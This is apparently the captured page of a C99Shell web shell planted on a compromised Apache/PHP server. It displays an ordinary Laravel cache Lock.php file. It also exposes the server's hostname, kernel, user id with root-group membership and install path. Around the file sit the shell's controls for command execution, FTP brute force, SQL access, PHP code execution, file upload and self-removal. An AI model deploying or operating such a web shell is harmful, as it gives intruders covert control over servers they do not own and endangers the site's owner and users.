!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/laravel/framework/src/Illuminate/Cache/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Lock.php (3.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Cache;

use 
Illuminate\Contracts\Cache\Lock as LockContract;
use 
Illuminate\Contracts\Cache\LockTimeoutException;
use 
Illuminate\Support\InteractsWithTime;
use 
Illuminate\Support\Sleep;
use 
Illuminate\Support\Str;

abstract class 
Lock implements LockContract
{
    use 
InteractsWithTime;

    
/**
     * The name of the lock.
     *
     * @var string
     */
    
protected $name;

    
/**
     * The number of seconds the lock should be maintained.
     *
     * @var int
     */
    
protected $seconds;

    
/**
     * The scope identifier of this lock.
     *
     * @var string
     */
    
protected $owner;

    
/**
     * The number of milliseconds to wait before re-attempting to acquire a lock while blocking.
     *
     * @var int
     */
    
protected $sleepMilliseconds 250;

    
/**
     * Create a new lock instance.
     *
     * @param  string  $name
     * @param  int  $seconds
     * @param  string|null  $owner
     * @return void
     */
    
public function __construct($name$seconds$owner null)
    {
        if (
is_null($owner)) {
            
$owner Str::random();
        }

        
$this->name $name;
        
$this->owner $owner;
        
$this->seconds $seconds;
    }

    
/**
     * Attempt to acquire the lock.
     *
     * @return bool
     */
    
abstract public function acquire();

    
/**
     * Release the lock.
     *
     * @return bool
     */
    
abstract public function release();

    
/**
     * Returns the owner value written into the driver for this lock.
     *
     * @return string
     */
    
abstract protected function getCurrentOwner();

    
/**
     * Attempt to acquire the lock.
     *
     * @param  callable|null  $callback
     * @return mixed
     */
    
public function get($callback null)
    {
        
$result $this->acquire();

        if (
$result && is_callable($callback)) {
            try {
                return 
$callback();
            } finally {
                
$this->release();
            }
        }

        return 
$result;
    }

    
/**
     * Attempt to acquire the lock for the given number of seconds.
     *
     * @param  int  $seconds
     * @param  callable|null  $callback
     * @return mixed
     *
     * @throws \Illuminate\Contracts\Cache\LockTimeoutException
     */
    
public function block($seconds$callback null)
    {
        
$starting $this->currentTime();

        while (! 
$this->acquire()) {
            
Sleep::usleep($this->sleepMilliseconds 1000);

            if (
$this->currentTime() - $seconds >= $starting) {
                throw new 
LockTimeoutException;
            }
        }

        if (
is_callable($callback)) {
            try {
                return 
$callback();
            } finally {
                
$this->release();
            }
        }

        return 
true;
    }

    
/**
     * Returns the current owner of the lock.
     *
     * @return string
     */
    
public function owner()
    {
        return 
$this->owner;
    }

    
/**
     * Determines whether this lock is allowed to release the lock in the driver.
     *
     * @return bool
     */
    
public function isOwnedByCurrentProcess()
    {
        return 
$this->getCurrentOwner() === $this->owner;
    }

    
/**
     * Specify the number of milliseconds to sleep in between blocked lock acquisition attempts.
     *
     * @param  int  $milliseconds
     * @return $this
     */
    
public function betweenBlockedAttemptsSleepFor($milliseconds)
    {
        
$this->sleepMilliseconds $milliseconds;

        return 
$this;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--